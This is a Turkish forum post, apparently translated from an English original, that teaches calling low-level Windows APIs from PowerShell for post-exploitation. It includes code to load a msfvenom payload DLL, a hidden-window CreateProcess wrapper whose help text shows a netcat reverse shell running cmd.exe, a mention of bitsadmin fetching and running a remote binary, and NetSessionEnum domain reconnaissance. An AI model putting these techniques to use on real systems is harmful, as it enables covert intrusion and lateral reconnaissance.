Windows Hacking Serisi #5 | PowerShell'den Düşük Seviye Windows API'ına Erişim

PuaL

Forum Üyesi
Katılım
19 Nisan 2020
Mesajlar
616
Tepkime puanı
0
PowerShell'den Düşük Seviye Windows API'ına Erişim

Merhabalar, eminim ki sizler şimdi Microsoft’un sömürü-sonrası dili olan PowerShell’in oldukça şahane olduğunu biliyorsunuzdur. PowerShell'i C # \. NET dili ile genişletmek, neredeyse her şeyi yapabileceğiniz anlamına gelmektedir. Bazen sade PowerShell’in işlevselliği yeterli değildir ve Windows API'ye düşük düzeyli erişim gerekmektedir. Bunun bir örneği olarak çevre makinelerinde etkin olan oturumları uzaktan numaralandırmak için NetSess ve Veil-Powerview gibi araçlar tarafından kullanılan NetSessionEnum API'sidir. Bu makalede, kendi Windows API çağrılarınız ile birlikte komut dosyası oluşturmanıza yardımcı olacak birkaç örneğe bakıyor olacağız.

Aşağıdaki verilen örneklerin Windows API yapılarını tanımlamak için C# dilini kullandığına dikkat edilmelidir. C# derlemesi çalışma zamanında geçici olan dosyaları diske yazacağından dolayı, saldırganların bakış açısından bu en uygunu değildir. Ancak, .NET System.Reflection ad alanını kullanmak, başarmaya çalıştığımız şeye biraz daha yük ekler. Temel bilgiler bir kez anlaşıldıktan sonra, Matt Graeber tarafından oluşturulan, gerçek bellek içi ikametgahını elde etmek için yapılan harika işi sırtlamak nispeten kolaydır.


Kaynaklar:
+Pinvoke (İngilizce Kaynak)
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 1 (İngilizce Kaynak)
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 2 (İngilizce Kaynak)
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 3 (İngilizce Kaynak)
+.NET Metotları Ve Yansıma aracılığı ile PowerShell içinden Windows API’ e Erişim (İngilizce Kaynak)
+Derin Yansıma: PowerShell'de Yapıları ve Numaralandırmaları Tanımlama (İngilizce Kaynak)


İndir:
+ Invoke-CreateProcess.ps1 - (İngilizce Kaynak)
+ Invoke-NetSessionEnum.ps1 - (İngilizce Kaynak)


Kullanıcı32::MessageBox

API çağrısı çok az girdi gerektirdiğinden, bir mesaj kutusu oluşturmak çoğu ihtimalle en kolay örneklerden birisidir. Yapı parametrelerini daha iyi anlamak, yapı tanımına ve girişine bir başlangıç yapmak için MessageBox için pinvoke girişini kontrol ettiğinizden emin olun.
MSDN'den C ++ fonksiyon yapısı aşağıda görülmektedir.


Kod:
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);


Bu kod kolayca c# diline çevrilebilir, pinvoke üzerindeki örneğin neredeyse birebir kopyala/yapıştır halidir.


Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public static class User32
{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool MessageBox(
IntPtr hWnd, /// Parent window handle
String text, /// Text message to display
String caption, /// Window caption
int options); /// MessageBox type
}
"@

[User32]::MessageBox(0,"Text","Caption",0) |Out-Null


Yukarıdaki kodu çalıştırmak bize beklenilen Mesaj Kutusunu açar.




Açıkçası, mesaj kutusu fonksiyonuna ilettiğiniz parametreleri, örnek olarak mesaj kutusunun türünü değiştirebilirsiniz.


Kod:
[User32]::MessageBox(0,"Text","Caption",0x4)



User32 : : CallWindowProc

Hadi şimdi biraz karmaşık şeyler deneyelim; bir dll içinde, dışa aktarılan bir fonksiyonu çağırmak istediğimizde ne olur? Temel olarak aşağıdaki adımları uygulamamız gerekir.


Kod:
[Kernel32]::LoadLibrary # Load DLL
|___[Kernel32]::GetProcAddress # Get function pointer
|___[User32]::CallWindowProc # Call function


Burada birazcık hile var, CallWindowProc sadece fonksiyon herhangi bir parametreyi beklemiyorsa çalışacaktır. Fakat burada görünüm amaçlı olarak ihtiyaçlarımızı karşılar
User32.dll, kullanıcının masaüstünü kilitlemek için kullanılabilecek bir fonksiyonu (LockWorkStation) barındırır. Bu fonksiyonu çalıştıracak kodu aşağıda görebilirsiniz.

Kod:
function Instantiate-LockDown {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public static class Kernel32
{
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);

[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
}

public static class User32
{
[DllImport("user32.dll")]
public static extern IntPtr CallWindowProc(
IntPtr wndProc,
IntPtr hWnd,
int msg,
IntPtr wParam,
IntPtr lParam);
}
"@

$LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
$FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")

if ([System.IntPtr]::Size -eq 4) {
echo "`nKernel32::LoadLibrary --> 0x$("{0:X8}" -f $LibHandle.ToInt32())"
echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
}
else {
echo "`nKernel32::LoadLibrary --> 0x$("{0:X16}" -f $LibHandle.ToInt64())"
echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
}

echo "Locking user session..`n"
[User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
}


Bu kodu çalıştırmak hızlı bir şekilde kullanıcının masaüstünü kilitleyecektir.





Tekrar giriş yaptıktan sonra fonksiyon tarafından işlenen kodun çıktısını görebiliriz.






MSFvenom : : WinExec (…veya değil)

Önceki örneğin ardından msfvenom tarafından oluşturulan bir DLL ile aynı şeyi deneyelim.




Kişisel olarak ****sploit DLL payload biçimini kullanmak için pek fırsatım olmadı, çünkü asla tam olarak ihtiyacım olan şeyi yapmıyormuş gibi görünüyor.
Durumu düzenlemek için her şeyin DLLMain aracılığıyla açığa çıktığını ortaya çıkaran IDA'ya hızlı bir şekilde göz attım.





Gayet gülünç bir şekilde, ileri seviye araştırma DLL'nin aslında kullanmadığını ortaya çıkardı. Bunun yerine DLL, için bir çağrı ayarlıyor.





Çağrı birazcık tuhaf, görünüşe göre CreateProcess rundll32.exe’yi “askıya alınmış” durumda başlatıyor (dwCreationFlags = 0x44). Neden rundll32.exe’nin lpApplicationName'de normalde olduğu gibi lpCommandLine‘ın içine yerleştirildiğinden emin değilim, lpCommandLine'ın ilk parametresi modül adı olarak değerlendirilen bu durumda lpApplicationName, “NULL” olarak kabul edilebilir.
Sonrasında shellcode işi eline alır, bir payload bayt dizisi ekler ve işi sürdürür.





İlk amacımıza geri dönersek, yükü PowerShell'den yürütmek gayet kolaydır. Her şey DLLMain içinde olduğundan dolayı, yalnızca uygun DLL yolunu kullanarak LoadLibrary'yi çağırmamız gerekir. Tek karmaşıklık, LoadLibrary çağrısını yaptığımızda PowerShell'in donmasıdır, bundan kaçınmak için işlemi arka plana almak için Start-Job kullanabiliriz.


Kod:
function Instantiate-MSFDLL {
$ScriptBlock = {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);
}
"@

[Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
}

Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
}


Bu fonksiyonu çalıştırmak bize hesap makinesini verir.






Kernel32 : : CreateProcess

şimdiye kadar bunları kolayca yaptık, buraya kadarki tüm API çağrıları nispeten küçük ve karmaşık değildi. Ancak bu her zaman böyle değildir, bunun için CreateProcess API çağrısı iyi bir örnektir. Bazen uzak makinede bir komut çalıştırmanız gerekebilir, fakat... bir konsol penceresi açılır. Ben, bu sorunla birkaç kez karşılaştım ve gerçekten basit bir çözümü yok (bir VBS paketleyici önermeyi düşünmeyin bile). şükür ki, Windows API'ye inersek, konsol uygulamalarındaki GUI penceresini kaldırma yeteneği de dahil olmak üzere, süreç oluşturma üzerinde çok daha ayrıntılı kontrol sunan buluyoruz. Her nedense PowerShell'de "-WindowStyle Hidden" flag’ın konsolu tamamen gizlemek için CreateProcess'e bağlanmaması beni hala korkutuyor.

Her iki durumda da, CreateProcess'in tüm avantajlarından yararlanabilen bir işleve sahip olmak, zaman zaman çok yararlı olacaktır. Görelim bunu başarabilecek miyiz? C# örnekleri için başvurmayı unutmayın.


Kaynaklar:
+ CreateProcess -
+ STARTUPINFO -
+ PROCESS_INFORMATION -
+ SECURITY_ATTRIBUTES -



Kod:
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, --> SECURITY_ATTRIBUTES Struct
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LP**** lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo, --> STARTUPINFO Struct
_Out_ LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);

Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}

public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
}
"@

# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION

# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)

# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null


Yukarıda ayarlanan bayraklar, penceresi olmayan bir "cmd.exe" işlemi oluşturmalıdır ve bu da hesap makinesini başlatır. Aslında, cmd'nin “Process Explorer” ile ilişkili bir penceresi olmadığını onaylayabilirsiniz.





Açıkçası bu kodu yeniden kullanmak biraz sıkıcı. Ben de bu yüzden yeniden kullanmak için güzel bir fonksiyona girdim.

Kod:
PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full

NAME
Invoke-CreateProcess

SYNOPSIS
-Binary Full path of the module to be executed.

-Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
to $null if not specified.

-CreationFlags Process creation flags:
0x00000000 (NONE)
0x00000001 (DEBUG_PROCESS)
0x00000002 (DEBUG_ONLY_THIS_PROCESS)
0x00000004 (CREATE_SUSPENDED)
0x00000008 (DETACHED_PROCESS)
0x00000010 (CREATE_NEW_CONSOLE)
0x00000200 (CREATE_NEW_PROCESS_GROUP)
0x00000400 (CREATE_UNICODE_ENVIRONMENT)
0x00000800 (CREATE_SEPARATE_WOW_VDM)
0x00001000 (CREATE_SHARED_WOW_VDM)
0x00040000 (CREATE_PROTECTED_PROCESS)
0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
0x04000000 (CREATE_DEFAULT_ERROR_MODE)
0x08000000 (CREATE_NO_WINDOW)

-ShowWindow Window display flags:
0x0000 (SW_HIDE)
0x0001 (SW_SHOWNORMAL)
0x0001 (SW_NORMAL)
0x0002 (SW_SHOWMINIMIZED)
0x0003 (SW_SHOWMAXIMIZED)
0x0003 (SW_MAXIMIZE)
0x0004 (SW_SHOWNOACTIVATE)
0x0005 (SW_SHOW)
0x0006 (SW_MINIMIZE)
0x0007 (SW_SHOWMINNOACTIVE)
0x0008 (SW_SHOWNA)
0x0009 (SW_RESTORE)
0x000A (SW_SHOWDEFAULT)
0x000B (SW_FORCEMINIMIZE)
0x000B (SW_MAX)

-StartF Bitfield to influence window creation:
0x00000001 (STARTF_USESHOWWINDOW)
0x00000002 (STARTF_USESIZE)
0x00000004 (STARTF_USEPOSITION)
0x00000008 (STARTF_USECOUNTCHARS)
0x00000010 (STARTF_USEFILLATTRIBUTE)
0x00000020 (STARTF_RUNFULLSCREEN)
0x00000040 (STARTF_FORCEONFEEDBACK)
0x00000080 (STARTF_FORCEOFFFEEDBACK)
0x00000100 (STARTF_USESTDHANDLES)

SYNTAX
Invoke-CreateProcess [-Binary] [[-Args] ] [-CreationFlags] [-ShowWindow]
[-StartF] []


DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None


PARAMETERS
-Binary

Required? true
Position? 1
Default value
Accept pipeline input? false
Accept wildcard characters?

-Args

Required? false
Position? 2
Default value
Accept pipeline input? false
Accept wildcard characters?

-CreationFlags

Required? true
Position? 3
Default value
Accept pipeline input? false
Accept wildcard characters?

-ShowWindow

Required? true
Position? 4
Default value
Accept pipeline input? false
Accept wildcard characters?

-StartF

Required? true
Position? 5
Default value
Accept pipeline input? false
Accept wildcard characters?


This cmdlet supports the common parameters: Verbose, Debug,
ErrorAction, ErrorVariable, WarningAction, WarningVariable,
OutBuffer and OutVariable. For more information, type,
"get-help about_commonparameters".

INPUTS

OUTPUTS

-------------------------- EXAMPLE 1 --------------------------

Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
-StartF 0x1


-------------------------- EXAMPLE 2 --------------------------

Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1



NONE/SW_NORMAL/STARTF_USESHOWWINDOW

Burada herhangi bir iz bırakmadan sade bir hesap makinesi başlatıyoruz.





CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW

Burada ise cmd yeni bir konsolda başlatıldı ve normal şekilde görüntülendi.






CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

Burada cmd penceresiz olarak çağrıldı ve bu da greyhathacker domain’ininden bir binary’i yakalamak ve çalıştırmak için bir bitsadmin komutu yürüttü.





Netapi32 : : NetSessionEnum

Son örneğimiz için NetSessionEnum API'sine bir göz atacağız. Bu harika küçük bir API mücevheridir. Özellikle yeniden birleştirme söz konusu olduğunda, bir domain kullanıcısının domain’ine katılmış makinelerdeki kimliği doğrulanmış oturumları numaralandırmasına izin verir ve yönetici izinlerini gerektirmez. Giriş kısmında da bahsedildiği üzere, bundan yararlanan harika araçlar var, en önemlileri ise ve araçları. Aşağıdaki komut dosyası, yansıma kullanmaması haricinde Powerview'deki "Get-NetSessions" 'a çok benzer.

Kod:
function Invoke-NetSessionEnum {
Invoke-NetSessionEnum -HostName SomeHostName

#>

param (
[Parameter(Mandatory = $True)]
[string]$HostName
)

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[StructLayout(LayoutKind.Sequential)]
public struct SESSION_INFO_10
{
[MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
[MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
public uint SessionTime;
public uint IdleTime;
}

public static class Netapi32
{
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetSessionEnum(
[In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
Int32 Level,
out IntPtr bufptr,
int prefmaxlen,
ref Int32 entriesread,
ref Int32 totalentries,
ref Int32 resume_handle);

[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetApiBufferFree(
IntPtr Buffer);
}
"@

# Create SessionInfo10 Struct
$SessionInfo10 = New-Object SESSION_INFO_10
$SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
$SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))

# NetSessionEnum params
$OutBuffPtr = [IntPtr]::Zero # Struct output buffer
$EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
$CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)

if ($CallResult -ne 0){
echo "Mmm something went wrong!`nError Code: $CallResult"
}

else {

if ([System.IntPtr]::Size -eq 4) {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
}
else {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
}

echo "Result-set contains $EntriesRead session(s)!"

# Change buffer offset to int
$BufferOffset = $OutBuffPtr.ToInt64()

# Loop buffer entries and cast pointers as SessionInfo10
for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$Info = [system.runtime.interopservices.marshal]::ptrToStructure($NewIntPtr,[type]$SessionInfo10)
$Info
$BufferOffset = $BufferOffset + $SessionInfo10StructSize
}

echo "`nCalling NetApiBufferFree, no memleaks here!"
[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
}
}



Evde geliştirme testleri için kullandığım küçük, kötü niyetli bir domain kurulumum var. Invoke-NetSessionEnum çıktısını aşağıda görebilirsiniz.





Sonuç:

Umarım ki bu konu sizlere Windows API çağrılarını PowerShell komut dosyalarınıza dahil etme hakkında bazı fikirler vermiştir. Bunu yapmak, PowerShell'de gerçekten elde edemeyeceğiniz hiçbir şeyin olmadığı anlamına gelmektedir. Giriş kısmında da bahsettiğim gibi, .NET yansımasını kullanarak çalışma zamanı C# derlemesinden kaçınmanın bir yolu var, bunun nasıl yapıldığını görmek için çerçevesindeki bazı örneklere göz atmanızı şiddetle tavsiye ederim.

Unutmayın, sakin kalın ve [Winmm]::mciSendString("set CDAudio door open", $null, $null, [IntPtr]::Zero)!


ORİJİNAL KAYNAK:
ÇEVİRMEN:
 

Benzer konular

Nutella

Harbi Üye
Bayan Üye
Özel Üye
Katılım
2 Ocak 2021
Mesajlar
9,432
Tepkime puanı
8
Cinsiyet
  1. Bayan
Takım
Galatasaray
Paylaşım için teşekkürler.
 
İçerik sağlayıcı "paylaşım" sitelerinden biri olan Harbimekan.Com Forum, Eğlence ve Güncel Paylaşım Platformu Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. Harbimekan.Com sitesindeki konular yada mesajlar hakkında yapılacak tüm hukuksal Şikayetler için info@harbimekan.com yada iletişim sayfası üzerinden iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 3 Gün (72 Saat) içerisinde Forum yönetimi olarak tarafımızdan gereken işlemler yapılacaktır.

Bu Site, Bilim ve Sağlık Haber Ajansı Üyesidir.

Yığıntı - 8kez - kaynak mağazam - Uğur Ağdaş